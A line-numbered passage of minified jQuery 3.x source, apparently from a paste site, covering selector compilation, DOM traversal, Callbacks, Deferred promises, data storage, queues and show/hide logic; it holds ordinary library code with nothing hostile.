  756. var e = a.length;
  757. while (e--)
  758. if (!a[e](b, c, d)) return !1;
  759. return !0
  760. } : a[0]
  761. }
  762.  
  763. function va(a, b, c) {
  764. for (var d = 0, e = b.length; d < e; d++) ga(a, b[d], c);
  765. return c
  766. }
  767.  
  768. function wa(a, b, c, d, e) {
  769. for (var f, g = [], h = 0, i = a.length, j = null != b; h < i; h++)(f = a[h]) && (c && !c(f, d, e) || (g.push(f), j && b.push(h)));
  770. return g
  771. }
  772.  
  773. function xa(a, b, c, d, e, f) {
  774. return d && !d[u] && (d = xa(d)), e && !e[u] && (e = xa(e, f)), ia(function(f, g, h, i) {
  775. var j, k, l, m = [],
  776. n = [],
  777. o = g.length,
  778. p = f || va(b || "*", h.nodeType ? [h] : h, []),
  779. q = !a || !f && b ? p : wa(p, m, a, h, i),
  780. r = c ? e || (f ? a : o || d) ? [] : g : q;
  781. if (c && c(q, r, h, i), d) {
  782. j = wa(r, n), d(j, [], h, i), k = j.length;
  783. while (k--)(l = j[k]) && (r[n[k]] = !(q[n[k]] = l))
  784. }
  785. if (f) {
  786. if (e || a) {
  787. if (e) {
  788. j = [], k = r.length;
  789. while (k--)(l = r[k]) && j.push(q[k] = l);
  790. e(null, r = [], j, i)
  791. }
  792. k = r.length;
  793. while (k--)(l = r[k]) && (j = e ? I(f, l) : m[k]) > -1 && (f[j] = !(g[j] = l))
  794. }
  795. } else r = wa(r === g ? r.splice(o, r.length) : r), e ? e(null, g, r, i) : G.apply(g, r)
  796. })
  797. }
  798.  
  799. function ya(a) {
  800. for (var b, c, e, f = a.length, g = d.relative[a[0].type], h = g || d.relative[" "], i = g ? 1 : 0, k = ta(function(a) {
  801. return a === b
  802. }, h, !0), l = ta(function(a) {
  803. return I(b, a) > -1
  804. }, h, !0), m = [function(a, c, d) {
  805. var e = !g && (d || c !== j) || ((b = c).nodeType ? k(a, c, d) : l(a, c, d));
  806. return b = null, e
  807. }]; i < f; i++)
  808. if (c = d.relative[a[i].type]) m = [ta(ua(m), c)];
  809. else {
  810. if (c = d.filter[a[i].type].apply(null, a[i].matches), c[u]) {
  811. for (e = ++i; e < f; e++)
  812. if (d.relative[a[e].type]) break;
  813. return xa(i > 1 && ua(m), i > 1 && sa(a.slice(0, i - 1).concat({
  814. value: " " === a[i - 2].type ? "*" : ""
  815. })).replace(P, "$1"), c, i < e && ya(a.slice(i, e)), e < f && ya(a = a.slice(e)), e < f && sa(a))
  816. }
  817. m.push(c)
  818. }
  819. return ua(m)
  820. }
  821.  
  822. function za(a, b) {
  823. var c = b.length > 0,
  824. e = a.length > 0,
  825. f = function(f, g, h, i, k) {
  826. var l, o, q, r = 0,
  827. s = "0",
  828. t = f && [],
  829. u = [],
  830. v = j,
  831. x = f || e && d.find.TAG("*", k),
  832. y = w += null == v ? 1 : Math.random() || .1,
  833. z = x.length;
  834. for (k && (j = g === n || g || k); s !== z && null != (l = x[s]); s++) {
  835. if (e && l) {
  836. o = 0, g || l.ownerDocument === n || (m(l), h = !p);
  837. while (q = a[o++])
  838. if (q(l, g || n, h)) {
  839. i.push(l);
  840. break
  841. }
  842. k && (w = y)
  843. }
  844. c && ((l = !q && l) && r--, f && t.push(l))
  845. }
  846. if (r += s, c && s !== r) {
  847. o = 0;
  848. while (q = b[o++]) q(t, u, g, h);
  849. if (f) {
  850. if (r > 0)
  851. while (s--) t[s] || u[s] || (u[s] = E.call(i));
  852. u = wa(u)
  853. }
  854. G.apply(i, u), k && !f && u.length > 0 && r + b.length > 1 && ga.uniqueSort(i)
  855. }
  856. return k && (w = y, j = v), t
  857. };
  858. return c ? ia(f) : f
  859. }
  860. return h = ga.compile = function(a, b) {
  861. var c, d = [],
  862. e = [],
  863. f = A[a + " "];
  864. if (!f) {
  865. b || (b = g(a)), c = b.length;
  866. while (c--) f = ya(b[c]), f[u] ? d.push(f) : e.push(f);
  867. f = A(a, za(e, d)), f.selector = a
  868. }
  869. return f
  870. }, i = ga.select = function(a, b, e, f) {
  871. var i, j, k, l, m, n = "function" == typeof a && a,
  872. o = !f && g(a = n.selector || a);
  873. if (e = e || [], 1 === o.length) {
  874. if (j = o[0] = o[0].slice(0), j.length > 2 && "ID" === (k = j[0]).type && c.getById && 9 === b.nodeType && p && d.relative[j[1].type]) {
  875. if (b = (d.find.ID(k.matches[0].replace(_, aa), b) || [])[0], !b) return e;
  876. n && (b = b.parentNode), a = a.slice(j.shift().value.length)
  877. }
  878. i = V.needsContext.test(a) ? 0 : j.length;
  879. while (i--) {
  880. if (k = j[i], d.relative[l = k.type]) break;
  881. if ((m = d.find[l]) && (f = m(k.matches[0].replace(_, aa), $.test(j[0].type) && qa(b.parentNode) || b))) {
  882. if (j.splice(i, 1), a = f.length && sa(j), !a) return G.apply(e, f), e;
  883. break
  884. }
  885. }
  886. }
  887. return (n || h(a, o))(f, b, !p, e, !b || $.test(a) && qa(b.parentNode) || b), e
  888. }, c.sortStable = u.split("").sort(B).join("") === u, c.detectDuplicates = !!l, m(), c.sortDetached = ja(function(a) {
  889. return 1 & a.compareDocumentPosition(n.createElement("fieldset"))
  890. }), ja(function(a) {
  891. return a.innerHTML = "<a href='#'></a>", "#" === a.firstChild.getAttribute("href")
  892. }) || ka("type|href|height|width", function(a, b, c) {
  893. if (!c) return a.getAttribute(b, "type" === b.toLowerCase() ? 1 : 2)
  894. }), c.attributes && ja(function(a) {
  895. return a.innerHTML = "<input/>", a.firstChild.setAttribute("value", ""), "" === a.firstChild.getAttribute("value")
  896. }) || ka("value", function(a, b, c) {
  897. if (!c && "input" === a.nodeName.toLowerCase()) return a.defaultValue
  898. }), ja(function(a) {
  899. return null == a.getAttribute("disabled")
  900. }) || ka(J, function(a, b, c) {
  901. var d;
  902. if (!c) return a[b] === !0 ? b.toLowerCase() : (d = a.getAttributeNode(b)) && d.specified ? d.value : null
  903. }), ga
  904. }(a);
  905. r.find = x, r.expr = x.selectors, r.expr[":"] = r.expr.pseudos, r.uniqueSort = r.unique = x.uniqueSort, r.text = x.getText, r.isXMLDoc = x.isXML, r.contains = x.contains, r.escapeSelector = x.escape;
  906. var y = function(a, b, c) {
  907. var d = [],
  908. e = void 0 !== c;
  909. while ((a = a[b]) && 9 !== a.nodeType)
  910. if (1 === a.nodeType) {
  911. if (e && r(a).is(c)) break;
  912. d.push(a)
  913. }
  914. return d
  915. },
  916. z = function(a, b) {
  917. for (var c = []; a; a = a.nextSibling) 1 === a.nodeType && a !== b && c.push(a);
  918. return c
  919. },
  920. A = r.expr.match.needsContext,
  921. B = /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,
  922. C = /^.[^:#\[\.,]*$/;
  923.  
  924. function D(a, b, c) {
  925. if (r.isFunction(b)) return r.grep(a, function(a, d) {
  926. return !!b.call(a, d, a) !== c
  927. });
  928. if (b.nodeType) return r.grep(a, function(a) {
  929. return a === b !== c
  930. });
  931. if ("string" == typeof b) {
  932. if (C.test(b)) return r.filter(b, a, c);
  933. b = r.filter(b, a)
  934. }
  935. return r.grep(a, function(a) {
  936. return i.call(b, a) > -1 !== c && 1 === a.nodeType
  937. })
  938. }
  939. r.filter = function(a, b, c) {
  940. var d = b[0];
  941. return c && (a = ":not(" + a + ")"), 1 === b.length && 1 === d.nodeType ? r.find.matchesSelector(d, a) ? [d] : [] : r.find.matches(a, r.grep(b, function(a) {
  942. return 1 === a.nodeType
  943. }))
  944. }, r.fn.extend({
  945. find: function(a) {
  946. var b, c, d = this.length,
  947. e = this;
  948. if ("string" != typeof a) return this.pushStack(r(a).filter(function() {
  949. for (b = 0; b < d; b++)
  950. if (r.contains(e[b], this)) return !0
  951. }));
  952. for (c = this.pushStack([]), b = 0; b < d; b++) r.find(a, e[b], c);
  953. return d > 1 ? r.uniqueSort(c) : c
  954. },
  955. filter: function(a) {
  956. return this.pushStack(D(this, a || [], !1))
  957. },
  958. not: function(a) {
  959. return this.pushStack(D(this, a || [], !0))
  960. },
  961. is: function(a) {
  962. return !!D(this, "string" == typeof a && A.test(a) ? r(a) : a || [], !1).length
  963. }
  964. });
  965. var E, F = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,
  966. G = r.fn.init = function(a, b, c) {
  967. var e, f;
  968. if (!a) return this;
  969. if (c = c || E, "string" == typeof a) {
  970. if (e = "<" === a[0] && ">" === a[a.length - 1] && a.length >= 3 ? [null, a, null] : F.exec(a), !e || !e[1] && b) return !b || b.jquery ? (b || c).find(a) : this.constructor(b).find(a);
  971. if (e[1]) {
  972. if (b = b instanceof r ? b[0] : b, r.merge(this, r.parseHTML(e[1], b && b.nodeType ? b.ownerDocument || b : d, !0)), B.test(e[1]) && r.isPlainObject(b))
  973. for (e in b) r.isFunction(this[e]) ? this[e](b[e]) : this.attr(e, b[e]);
  974. return this
  975. }
  976. return f = d.getElementById(e[2]), f && (this[0] = f, this.length = 1), this
  977. }
  978. return a.nodeType ? (this[0] = a, this.length = 1, this) : r.isFunction(a) ? void 0 !== c.ready ? c.ready(a) : a(r) : r.makeArray(a, this)
  979. };
  980. G.prototype = r.fn, E = r(d);
  981. var H = /^(?:parents|prev(?:Until|All))/,
  982. I = {
  983. children: !0,
  984. contents: !0,
  985. next: !0,
  986. prev: !0
  987. };
  988. r.fn.extend({
  989. has: function(a) {
  990. var b = r(a, this),
  991. c = b.length;
  992. return this.filter(function() {
  993. for (var a = 0; a < c; a++)
  994. if (r.contains(this, b[a])) return !0
  995. })
  996. },
  997. closest: function(a, b) {
  998. var c, d = 0,
  999. e = this.length,
  1000. f = [],
  1001. g = "string" != typeof a && r(a);
  1002. if (!A.test(a))
  1003. for (; d < e; d++)
  1004. for (c = this[d]; c && c !== b; c = c.parentNode)
  1005. if (c.nodeType < 11 && (g ? g.index(c) > -1 : 1 === c.nodeType && r.find.matchesSelector(c, a))) {
  1006. f.push(c);
  1007. break
  1008. }
  1009. return this.pushStack(f.length > 1 ? r.uniqueSort(f) : f)
  1010. },
  1011. index: function(a) {
  1012. return a ? "string" == typeof a ? i.call(r(a), this[0]) : i.call(this, a.jquery ? a[0] : a) : this[0] && this[0].parentNode ? this.first().prevAll().length : -1
  1013. },
  1014. add: function(a, b) {
  1015. return this.pushStack(r.uniqueSort(r.merge(this.get(), r(a, b))))
  1016. },
  1017. addBack: function(a) {
  1018. return this.add(null == a ? this.prevObject : this.prevObject.filter(a))
  1019. }
  1020. });
  1021.  
  1022. function J(a, b) {
  1023. while ((a = a[b]) && 1 !== a.nodeType);
  1024. return a
  1025. }
  1026. r.each({
  1027. parent: function(a) {
  1028. var b = a.parentNode;
  1029. return b && 11 !== b.nodeType ? b : null
  1030. },
  1031. parents: function(a) {
  1032. return y(a, "parentNode")
  1033. },
  1034. parentsUntil: function(a, b, c) {
  1035. return y(a, "parentNode", c)
  1036. },
  1037. next: function(a) {
  1038. return J(a, "nextSibling")
  1039. },
  1040. prev: function(a) {
  1041. return J(a, "previousSibling")
  1042. },
  1043. nextAll: function(a) {
  1044. return y(a, "nextSibling")
  1045. },
  1046. prevAll: function(a) {
  1047. return y(a, "previousSibling")
  1048. },
  1049. nextUntil: function(a, b, c) {
  1050. return y(a, "nextSibling", c)
  1051. },
  1052. prevUntil: function(a, b, c) {
  1053. return y(a, "previousSibling", c)
  1054. },
  1055. siblings: function(a) {
  1056. return z((a.parentNode || {}).firstChild, a)
  1057. },
  1058. children: function(a) {
  1059. return z(a.firstChild)
  1060. },
  1061. contents: function(a) {
  1062. return a.contentDocument || r.merge([], a.childNodes)
  1063. }
  1064. }, function(a, b) {
  1065. r.fn[a] = function(c, d) {
  1066. var e = r.map(this, b, c);
  1067. return "Until" !== a.slice(-5) && (d = c), d && "string" == typeof d && (e = r.filter(d, e)), this.length > 1 && (I[a] || r.uniqueSort(e), H.test(a) && e.reverse()), this.pushStack(e)
  1068. }
  1069. });
  1070. var K = /\S+/g;
  1071.  
  1072. function L(a) {
  1073. var b = {};
  1074. return r.each(a.match(K) || [], function(a, c) {
  1075. b[c] = !0
  1076. }), b
  1077. }
  1078. r.Callbacks = function(a) {
  1079. a = "string" == typeof a ? L(a) : r.extend({}, a);
  1080. var b, c, d, e, f = [],
  1081. g = [],
  1082. h = -1,
  1083. i = function() {
  1084. for (e = a.once, d = b = !0; g.length; h = -1) {
  1085. c = g.shift();
  1086. while (++h < f.length) f[h].apply(c[0], c[1]) === !1 && a.stopOnFalse && (h = f.length, c = !1)
  1087. }
  1088. a.memory || (c = !1), b = !1, e && (f = c ? [] : "")
  1089. },
  1090. j = {
  1091. add: function() {
  1092. return f && (c && !b && (h = f.length - 1, g.push(c)), function d(b) {
  1093. r.each(b, function(b, c) {
  1094. r.isFunction(c) ? a.unique && j.has(c) || f.push(c) : c && c.length && "string" !== r.type(c) && d(c)
  1095. })
  1096. }(arguments), c && !b && i()), this
  1097. },
  1098. remove: function() {
  1099. return r.each(arguments, function(a, b) {
  1100. var c;
  1101. while ((c = r.inArray(b, f, c)) > -1) f.splice(c, 1), c <= h && h--
  1102. }), this
  1103. },
  1104. has: function(a) {
  1105. return a ? r.inArray(a, f) > -1 : f.length > 0
  1106. },
  1107. empty: function() {
  1108. return f && (f = []), this
  1109. },
  1110. disable: function() {
  1111. return e = g = [], f = c = "", this
  1112. },
  1113. disabled: function() {
  1114. return !f
  1115. },
  1116. lock: function() {
  1117. return e = g = [], c || b || (f = c = ""), this
  1118. },
  1119. locked: function() {
  1120. return !!e
  1121. },
  1122. fireWith: function(a, c) {
  1123. return e || (c = c || [], c = [a, c.slice ? c.slice() : c], g.push(c), b || i()), this
  1124. },
  1125. fire: function() {
  1126. return j.fireWith(this, arguments), this
  1127. },
  1128. fired: function() {
  1129. return !!d
  1130. }
  1131. };
  1132. return j
  1133. };
  1134.  
  1135. function M(a) {
  1136. return a
  1137. }
  1138.  
  1139. function N(a) {
  1140. throw a
  1141. }
  1142.  
  1143. function O(a, b, c) {
  1144. var d;
  1145. try {
  1146. a && r.isFunction(d = a.promise) ? d.call(a).done(b).fail(c) : a && r.isFunction(d = a.then) ? d.call(a, b, c) : b.call(void 0, a)
  1147. } catch (a) {
  1148. c.call(void 0, a)
  1149. }
  1150. }
  1151. r.extend({
  1152. Deferred: function(b) {
  1153. var c = [
  1154. ["notify", "progress", r.Callbacks("memory"), r.Callbacks("memory"), 2],
  1155. ["resolve", "done", r.Callbacks("once memory"), r.Callbacks("once memory"), 0, "resolved"],
  1156. ["reject", "fail", r.Callbacks("once memory"), r.Callbacks("once memory"), 1, "rejected"]
  1157. ],
  1158. d = "pending",
  1159. e = {
  1160. state: function() {
  1161. return d
  1162. },
  1163. always: function() {
  1164. return f.done(arguments).fail(arguments), this
  1165. },
  1166. "catch": function(a) {
  1167. return e.then(null, a)
  1168. },
  1169. pipe: function() {
  1170. var a = arguments;
  1171. return r.Deferred(function(b) {
  1172. r.each(c, function(c, d) {
  1173. var e = r.isFunction(a[d[4]]) && a[d[4]];
  1174. f[d[1]](function() {
  1175. var a = e && e.apply(this, arguments);
  1176. a && r.isFunction(a.promise) ? a.promise().progress(b.notify).done(b.resolve).fail(b.reject) : b[d[0] + "With"](this, e ? [a] : arguments)
  1177. })
  1178. }), a = null
  1179. }).promise()
  1180. },
  1181. then: function(b, d, e) {
  1182. var f = 0;
  1183.  
  1184. function g(b, c, d, e) {
  1185. return function() {
  1186. var h = this,
  1187. i = arguments,
  1188. j = function() {
  1189. var a, j;
  1190. if (!(b < f)) {
  1191. if (a = d.apply(h, i), a === c.promise()) throw new TypeError("Thenable self-resolution");
  1192. j = a && ("object" == typeof a || "function" == typeof a) && a.then, r.isFunction(j) ? e ? j.call(a, g(f, c, M, e), g(f, c, N, e)) : (f++, j.call(a, g(f, c, M, e), g(f, c, N, e), g(f, c, M, c.notifyWith))) : (d !== M && (h = void 0, i = [a]), (e || c.resolveWith)(h, i))
  1193. }
  1194. },
  1195. k = e ? j : function() {
  1196. try {
  1197. j()
  1198. } catch (a) {
  1199. r.Deferred.exceptionHook && r.Deferred.exceptionHook(a, k.stackTrace), b + 1 >= f && (d !== N && (h = void 0, i = [a]), c.rejectWith(h, i))
  1200. }
  1201. };
  1202. b ? k() : (r.Deferred.getStackHook && (k.stackTrace = r.Deferred.getStackHook()), a.setTimeout(k))
  1203. }
  1204. }
  1205. return r.Deferred(function(a) {
  1206. c[0][3].add(g(0, a, r.isFunction(e) ? e : M, a.notifyWith)), c[1][3].add(g(0, a, r.isFunction(b) ? b : M)), c[2][3].add(g(0, a, r.isFunction(d) ? d : N))
  1207. }).promise()
  1208. },
  1209. promise: function(a) {
  1210. return null != a ? r.extend(a, e) : e
  1211. }
  1212. },
  1213. f = {};
  1214. return r.each(c, function(a, b) {
  1215. var g = b[2],
  1216. h = b[5];
  1217. e[b[1]] = g.add, h && g.add(function() {
  1218. d = h
  1219. }, c[3 - a][2].disable, c[0][2].lock), g.add(b[3].fire), f[b[0]] = function() {
  1220. return f[b[0] + "With"](this === f ? void 0 : this, arguments), this
  1221. }, f[b[0] + "With"] = g.fireWith
  1222. }), e.promise(f), b && b.call(f, f), f
  1223. },
  1224. when: function(a) {
  1225. var b = arguments.length,
  1226. c = b,
  1227. d = Array(c),
  1228. e = f.call(arguments),
  1229. g = r.Deferred(),
  1230. h = function(a) {
  1231. return function(c) {
  1232. d[a] = this, e[a] = arguments.length > 1 ? f.call(arguments) : c, --b || g.resolveWith(d, e)
  1233. }
  1234. };
  1235. if (b <= 1 && (O(a, g.done(h(c)).resolve, g.reject), "pending" === g.state() || r.isFunction(e[c] && e[c].then))) return g.then();
  1236. while (c--) O(e[c], h(c), g.reject);
  1237. return g.promise()
  1238. }
  1239. });
  1240. var P = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
  1241. r.Deferred.exceptionHook = function(b, c) {
  1242. a.console && a.console.warn && b && P.test(b.name) && a.console.warn("jQuery.Deferred exception: " + b.message, b.stack, c)
  1243. }, r.readyException = function(b) {
  1244. a.setTimeout(function() {
  1245. throw b
  1246. })
  1247. };
  1248. var Q = r.Deferred();
  1249. r.fn.ready = function(a) {
  1250. return Q.then(a)["catch"](function(a) {
  1251. r.readyException(a)
  1252. }), this
  1253. }, r.extend({
  1254. isReady: !1,
  1255. readyWait: 1,
  1256. holdReady: function(a) {
  1257. a ? r.readyWait++ : r.ready(!0)
  1258. },
  1259. ready: function(a) {
  1260. (a === !0 ? --r.readyWait : r.isReady) || (r.isReady = !0, a !== !0 && --r.readyWait > 0 || Q.resolveWith(d, [r]))
  1261. }
  1262. }), r.ready.then = Q.then;
  1263.  
  1264. function R() {
  1265. d.removeEventListener("DOMContentLoaded", R), a.removeEventListener("load", R), r.ready()
  1266. }
  1267. "complete" === d.readyState || "loading" !== d.readyState && !d.documentElement.doScroll ? a.setTimeout(r.ready) : (d.addEventListener("DOMContentLoaded", R), a.addEventListener("load", R));
  1268. var S = function(a, b, c, d, e, f, g) {
  1269. var h = 0,
  1270. i = a.length,
  1271. j = null == c;
  1272. if ("object" === r.type(c)) {
  1273. e = !0;
  1274. for (h in c) S(a, b, h, c[h], !0, f, g)
  1275. } else if (void 0 !== d && (e = !0,
  1276. r.isFunction(d) || (g = !0), j && (g ? (b.call(a, d), b = null) : (j = b, b = function(a, b, c) {
  1277. return j.call(r(a), c)
  1278. })), b))
  1279. for (; h < i; h++) b(a[h], c, g ? d : d.call(a[h], h, b(a[h], c)));
  1280. return e ? a : j ? b.call(a) : i ? b(a[0], c) : f
  1281. },
  1282. T = function(a) {
  1283. return 1 === a.nodeType || 9 === a.nodeType || !+a.nodeType
  1284. };
  1285.  
  1286. function U() {
  1287. this.expando = r.expando + U.uid++
  1288. }
  1289. U.uid = 1, U.prototype = {
  1290. cache: function(a) {
  1291. var b = a[this.expando];
  1292. return b || (b = {}, T(a) && (a.nodeType ? a[this.expando] = b : Object.defineProperty(a, this.expando, {
  1293. value: b,
  1294. configurable: !0
  1295. }))), b
  1296. },
  1297. set: function(a, b, c) {
  1298. var d, e = this.cache(a);
  1299. if ("string" == typeof b) e[r.camelCase(b)] = c;
  1300. else
  1301. for (d in b) e[r.camelCase(d)] = b[d];
  1302. return e
  1303. },
  1304. get: function(a, b) {
  1305. return void 0 === b ? this.cache(a) : a[this.expando] && a[this.expando][r.camelCase(b)]
  1306. },
  1307. access: function(a, b, c) {
  1308. return void 0 === b || b && "string" == typeof b && void 0 === c ? this.get(a, b) : (this.set(a, b, c), void 0 !== c ? c : b)
  1309. },
  1310. remove: function(a, b) {
  1311. var c, d = a[this.expando];
  1312. if (void 0 !== d) {
  1313. if (void 0 !== b) {
  1314. r.isArray(b) ? b = b.map(r.camelCase) : (b = r.camelCase(b), b = b in d ? [b] : b.match(K) || []), c = b.length;
  1315. while (c--) delete d[b[c]]
  1316. }(void 0 === b || r.isEmptyObject(d)) && (a.nodeType ? a[this.expando] = void 0 : delete a[this.expando])
  1317. }
  1318. },
  1319. hasData: function(a) {
  1320. var b = a[this.expando];
  1321. return void 0 !== b && !r.isEmptyObject(b)
  1322. }
  1323. };
  1324. var V = new U,
  1325. W = new U,
  1326. X = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
  1327. Y = /[A-Z]/g;
  1328.  
  1329. function Z(a, b, c) {
  1330. var d;
  1331. if (void 0 === c && 1 === a.nodeType)
  1332. if (d = "data-" + b.replace(Y, "-$&").toLowerCase(), c = a.getAttribute(d), "string" == typeof c) {
  1333. try {
  1334. c = "true" === c || "false" !== c && ("null" === c ? null : +c + "" === c ? +c : X.test(c) ? JSON.parse(c) : c)
  1335. } catch (e) {}
  1336. W.set(a, b, c)
  1337. } else c = void 0;
  1338. return c
  1339. }
  1340. r.extend({
  1341. hasData: function(a) {
  1342. return W.hasData(a) || V.hasData(a)
  1343. },
  1344. data: function(a, b, c) {
  1345. return W.access(a, b, c)
  1346. },
  1347. removeData: function(a, b) {
  1348. W.remove(a, b)
  1349. },
  1350. _data: function(a, b, c) {
  1351. return V.access(a, b, c)
  1352. },
  1353. _removeData: function(a, b) {
  1354. V.remove(a, b)
  1355. }
  1356. }), r.fn.extend({
  1357. data: function(a, b) {
  1358. var c, d, e, f = this[0],
  1359. g = f && f.attributes;
  1360. if (void 0 === a) {
  1361. if (this.length && (e = W.get(f), 1 === f.nodeType && !V.get(f, "hasDataAttrs"))) {
  1362. c = g.length;
  1363. while (c--) g[c] && (d = g[c].name, 0 === d.indexOf("data-") && (d = r.camelCase(d.slice(5)), Z(f, d, e[d])));
  1364. V.set(f, "hasDataAttrs", !0)
  1365. }
  1366. return e
  1367. }
  1368. return "object" == typeof a ? this.each(function() {
  1369. W.set(this, a)
  1370. }) : S(this, function(b) {
  1371. var c;
  1372. if (f && void 0 === b) {
  1373. if (c = W.get(f, a), void 0 !== c) return c;
  1374. if (c = Z(f, a), void 0 !== c) return c
  1375. } else this.each(function() {
  1376. W.set(this, a, b)
  1377. })
  1378. }, null, b, arguments.length > 1, null, !0)
  1379. },
  1380. removeData: function(a) {
  1381. return this.each(function() {
  1382. W.remove(this, a)
  1383. })
  1384. }
  1385. }), r.extend({
  1386. queue: function(a, b, c) {
  1387. var d;
  1388. if (a) return b = (b || "fx") + "queue", d = V.get(a, b), c && (!d || r.isArray(c) ? d = V.access(a, b, r.makeArray(c)) : d.push(c)), d || []
  1389. },
  1390. dequeue: function(a, b) {
  1391. b = b || "fx";
  1392. var c = r.queue(a, b),
  1393. d = c.length,
  1394. e = c.shift(),
  1395. f = r._queueHooks(a, b),
  1396. g = function() {
  1397. r.dequeue(a, b)
  1398. };
  1399. "inprogress" === e && (e = c.shift(), d--), e && ("fx" === b && c.unshift("inprogress"), delete f.stop, e.call(a, g, f)), !d && f && f.empty.fire()
  1400. },
  1401. _queueHooks: function(a, b) {
  1402. var c = b + "queueHooks";
  1403. return V.get(a, c) || V.access(a, c, {
  1404. empty: r.Callbacks("once memory").add(function() {
  1405. V.remove(a, [b + "queue", c])
  1406. })
  1407. })
  1408. }
  1409. }), r.fn.extend({
  1410. queue: function(a, b) {
  1411. var c = 2;
  1412. return "string" != typeof a && (b = a, a = "fx", c--), arguments.length < c ? r.queue(this[0], a) : void 0 === b ? this : this.each(function() {
  1413. var c = r.queue(this, a, b);
  1414. r._queueHooks(this, a), "fx" === a && "inprogress" !== c[0] && r.dequeue(this, a)
  1415. })
  1416. },
  1417. dequeue: function(a) {
  1418. return this.each(function() {
  1419. r.dequeue(this, a)
  1420. })
  1421. },
  1422. clearQueue: function(a) {
  1423. return this.queue(a || "fx", [])
  1424. },
  1425. promise: function(a, b) {
  1426. var c, d = 1,
  1427. e = r.Deferred(),
  1428. f = this,
  1429. g = this.length,
  1430. h = function() {
  1431. --d || e.resolveWith(f, [f])
  1432. };
  1433. "string" != typeof a && (b = a, a = void 0), a = a || "fx";
  1434. while (g--) c = V.get(f[g], a + "queueHooks"), c && c.empty && (d++, c.empty.add(h));
  1435. return h(), e.promise(b)
  1436. }
  1437. });
  1438. var $ = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,
  1439. _ = new RegExp("^(?:([+-])=|)(" + $ + ")([a-z%]*)$", "i"),
  1440. aa = ["Top", "Right", "Bottom", "Left"],
  1441. ba = function(a, b) {
  1442. return a = b || a, "none" === a.style.display || "" === a.style.display && r.contains(a.ownerDocument, a) && "none" === r.css(a, "display")
  1443. },
  1444. ca = function(a, b, c, d) {
  1445. var e, f, g = {};
  1446. for (f in b) g[f] = a.style[f], a.style[f] = b[f];
  1447. e = c.apply(a, d || []);
  1448. for (f in b) a.style[f] = g[f];
  1449. return e
  1450. };
  1451.  
  1452. function da(a, b, c, d) {
  1453. var e, f = 1,
  1454. g = 20,
  1455. h = d ? function() {
  1456. return d.cur()
  1457. } : function() {
  1458. return r.css(a, b, "")
  1459. },
  1460. i = h(),
  1461. j = c && c[3] || (r.cssNumber[b] ? "" : "px"),
  1462. k = (r.cssNumber[b] || "px" !== j && +i) && _.exec(r.css(a, b));
  1463. if (k && k[3] !== j) {
  1464. j = j || k[3], c = c || [], k = +i || 1;
  1465. do f = f || ".5", k /= f, r.style(a, b, k + j); while (f !== (f = h() / i) && 1 !== f && --g)
  1466. }
  1467. return c && (k = +k || +i || 0, e = c[1] ? k + (c[1] + 1) * c[2] : +c[2], d && (d.unit = j, d.start = k, d.end = e)), e
  1468. }
  1469. var ea = {};
  1470.  
  1471. function fa(a) {
  1472. var b, c = a.ownerDocument,
  1473. d = a.nodeName,
  1474. e = ea[d];
  1475. return e ? e : (b = c.body.appendChild(c.createElement(d)), e = r.css(b, "display"), b.parentNode.removeChild(b), "none" === e && (e = "block"), ea[d] = e, e)
  1476. }
  1477.  
  1478. function ga(a, b) {
  1479. for (var c, d, e = [], f = 0, g = a.length; f < g; f++) d = a[f], d.style && (c = d.style.display, b ? ("none" === c && (e[f] = V.get(d, "display") || null, e[f] || (d.style.display = "")), "" === d.style.display && ba(d) && (e[f] = fa(d))) : "none" !== c && (e[f] = "none", V.set(d, "display", c)));
  1480. for (f = 0; f < g; f++) null != e[f] && (a[f].style.display = e[f]);
  1481. return a
  1482. }
  1483. r.fn.extend({
  1484. show: function() {
  1485. return ga(this, !0)
  1486. },
  1487. hide: function() {
  1488. return ga(this)
  1489. },
  1490. toggle: function(a) {
  1491. return "boolean" == typeof a ? a ? this.show() : this.hide() : this.each(function() {
  1492. ba(this) ? r(this).show() : r(this).hide()
  1493. })
  1494. }
  1495. });
  1496. var ha = /^(?:checkbox|radio)$/i,
  1497. ia = /<([a-z][^\/\0>\x20\t\r\n\f]+)/i,
  1498. ja = /^$|\/(?:java|ecma)script/i,
  1499. ka = {
  1500. option: [1, "<select multiple='multiple'>", "</select>"],
  1501. thead: [1, "<table>", "</table>"],
  1502. col: [2, "<table><colgroup>", "</colgroup></table>"],
  1503. tr: [2, "<table><tbody>", "</tbody></table>"],
  1504. td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
  1505. _default: [0, "", ""]
  1506. };
  1507. ka.optgroup = ka.option, ka.tbody = ka.tfoot = ka.colgroup = ka.caption = ka.thead, ka.th = ka.td;
  1508.  
  1509. function la(a, b) {
  1510. var c = "undefined" != typeof a.getElementsByTagName ? a.getElementsByTagName(b || "*") : "undefined" != typeof a.querySelectorAll ? a.querySelectorAll(b || "*") : [];
  1511. return void 0 === b || b && r.nodeName(a, b) ? r.merge([a], c) : c
  1512. }
  1513.  
  1514. function ma(a, b) {
  1515. for (var c = 0, d = a.length; c < d; c++) V.set(a[c], "globalEval", !b || V.get(b[c], "globalEval"))
  1516. }
  1517. var na = /<|&#?\w+;/;
  1518.  
  1519. function oa(a, b, c, d, e) {
  1520. for (var f, g, h, i, j, k, l = b.createDocumentFragment(), m = [], n = 0, o = a.length; n < o; n++)
  1521. if (f = a[n], f || 0 === f)
  1522. if ("object" === r.type(f)) r.merge(m, f.nodeType ? [f] : f);
  1523. else if (na.test(f)) {
  1524. g = g || l.appendChild(b.createElement("div")), h = (ia.exec(f) || ["", ""])[1].toLowerCase(), i = ka[h] || ka._default, g.innerHTML = i[1] + r.htmlPrefilter(f) + i[2], k = i[0];
  1525. while (k--) g = g.lastChild;
  1526. r.merge(m, g.childNodes), g = l.firstChild, g.textContent = ""
  1527. } else m.push(b.createTextNode(f));
  1528. l.textContent = "", n = 0;
  1529. while (f = m[n++])
  1530. if (d && r.inArray(f, d) > -1) e && e.push(f);
  1531. else if (j = r.contains(f.ownerDocument, f), g = la(l.appendChild(f), "script"), j && ma(g), c) {
  1532. k = 0;
  1533. while (f = g[k++]) ja.test(f.type || "") && c.push(f)
  1534. }
  1535. return l
  1536. }! function() {
  1537. var a = d.createDocumentFragment(),
  1538. b = a.appendChild(d.createElement("div")),
  1539. c = d.createElement("input");
